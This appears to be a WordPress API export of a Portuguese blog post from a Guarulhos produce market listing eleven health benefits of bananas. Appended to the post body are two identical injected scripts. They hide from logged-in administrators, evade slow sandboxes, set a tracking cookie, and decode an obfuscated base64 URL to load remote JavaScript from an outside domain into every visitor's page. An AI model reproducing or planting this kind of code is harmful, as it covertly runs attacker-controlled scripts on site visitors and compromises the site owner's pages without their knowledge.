{"id":159,"date":"2021-06-09T17:36:32","date_gmt":"2021-06-09T20:36:32","guid":{"rendered":"http:\/\/ceagguarulhos.com.br\/blog2\/?p=159"},"modified":"2026-06-10T05:32:51","modified_gmt":"2026-06-10T08:32:51","slug":"11-beneficios-da-banana","status":"publish","type":"post","link":"https:\/\/ceagguarulhos.com.br\/blog2\/2021\/06\/09\/11-beneficios-da-banana\/","title":{"rendered":"11 Benef\u00edcios da Banana"},"content":{"rendered":"\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"5\" src=\"http:\/\/ceagguarulhos.com.br\/blog2\/wp-content\/uploads\/2020\/04\/faixa-ceag-1024x5.png\" alt=\"\" class=\"wp-image-26\" srcset=\"https:\/\/ceagguarulhos.com.br\/blog2\/wp-content\/uploads\/2020\/04\/faixa-ceag-1024x5.png 1024w, https:\/\/ceagguarulhos.com.br\/blog2\/wp-content\/uploads\/2020\/04\/faixa-ceag-300x1.png 300w, https:\/\/ceagguarulhos.com.br\/blog2\/wp-content\/uploads\/2020\/04\/faixa-ceag-768x3.png 768w, https:\/\/ceagguarulhos.com.br\/blog2\/wp-content\/uploads\/2020\/04\/faixa-ceag-1536x7.png 1536w, https:\/\/ceagguarulhos.com.br\/blog2\/wp-content\/uploads\/2020\/04\/faixa-ceag-2048x9.png 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Voc\u00ea sabia que a banana tem muitos benef\u00edcios? Vamos falar de alguns para voc\u00eas.<br><br>11 benef\u00edcios que o consumo da banana proporciona a sua sa\u00fade:<\/p>\n\n\n\n<ol class=\"wp-block-list\" type=\"1\"><li>Ajuda na regula\u00e7\u00e3o do intestino;<\/li><li>Diminui\u00e7\u00e3o do apetite;<\/li><li>Evita as c\u00e3ibras musculares;<\/li><li>Contribui na redu\u00e7\u00e3o da press\u00e3o arterial;<\/li><li>Melhora o humor e ajuda a combater a depress\u00e3o;<\/li><li>Auxilia o fortalecimento do sistema imune;<\/li><li>\u00a0Previne o envelhecimento precoce;<\/li><li>Ajuda no controle do colesterol e mant\u00e9m a sa\u00fade do cora\u00e7\u00e3o;<\/li><li>Preven\u00e7\u00e3o do c\u00e2ncer de c\u00f3lon;<\/li><li>Fornece energia para realizar as atividades f\u00edsicas;<\/li><li>Preven\u00e7\u00e3o da forma\u00e7\u00e3o de \u00falceras g\u00e1stricas.<\/li><\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">Vem pro CEAG que aqui voc\u00ea encontra v\u00e1rias frutas com muitos benef\u00edcios, inclusive a banana.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Voc\u00ea sabia que a banana tem muitos benef\u00edcios? Vamos falar de alguns para voc\u00eas. 11 benef\u00edcios que o consumo da banana proporciona a sua sa\u00fade: Ajuda na regula\u00e7\u00e3o do intestino;&hellip; <\/p>\n","protected":false},"author":2,"featured_media":161,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-159","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-beneficios-dos-alimentos"],"_links":{"self":[{"href":"https:\/\/ceagguarulhos.com.br\/blog2\/wp-json\/wp\/v2\/posts\/159","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ceagguarulhos.com.br\/blog2\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ceagguarulhos.com.br\/blog2\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ceagguarulhos.com.br\/blog2\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/ceagguarulhos.com.br\/blog2\/wp-json\/wp\/v2\/comments?post=159"}],"version-history":[{"count":4,"href":"https:\/\/ceagguarulhos.com.br\/blog2\/wp-json\/wp\/v2\/posts\/159\/revisions"}],"predecessor-version":[{"id":820,"href":"https:\/\/ceagguarulhos.com.br\/blog2\/wp-json\/wp\/v2\/posts\/159\/revisions\/820"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/ceagguarulhos.com.br\/blog2\/wp-json\/wp\/v2\/media\/161"}],"wp:attachment":[{"href":"https:\/\/ceagguarulhos.com.br\/blog2\/wp-json\/wp\/v2\/media?parent=159"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ceagguarulhos.com.br\/blog2\/wp-json\/wp\/v2\/categories?post=159"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ceagguarulhos.com.br\/blog2\/wp-json\/wp\/v2\/tags?post=159"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}